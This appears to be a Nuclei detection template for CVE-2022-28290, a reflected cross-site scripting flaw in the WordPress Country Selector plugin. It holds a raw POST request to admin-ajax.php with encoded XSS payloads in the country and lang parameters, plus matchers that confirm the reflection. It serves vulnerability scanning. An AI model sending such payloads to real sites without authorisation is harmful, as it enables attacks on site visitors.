nuclei-templates/cves/2022/CVE-2022-28290.yaml

38 lines
1.1 KiB
YAML
Raw Normal View History

2022-05-10 08:49:06 +00:00
id: CVE-2022-28290
info:
name: Country Selector < 1.6.6 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the country and lang parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/6c5a4bce-6266-4cfc-bc87-4fc3e36cb479
tags: xss,wp,wordpress,wp-plugin,cve,cve2022
requests:
- raw:
- |
POST /wp-admin/admin-ajax.php?action=check_country_selector HTTP/2
Host: {{Hostname}}
Origin: {{BaseURL}}
Content-Type: application/x-www-form-urlencoded
country=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-country%2F%29%3E&lang=%3Cimg%2Bsrc%3Dx%2Bonerror%3Dalert%28%2FXSS-lang%2F%29%3E&site_locate=en-US
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(/XSS-country/)>'
- '<img src=x onerror=alert(/XSS-lang/)>'
condition: or
- type: word
part: header
words:
- text/html
- type: status
status:
- 200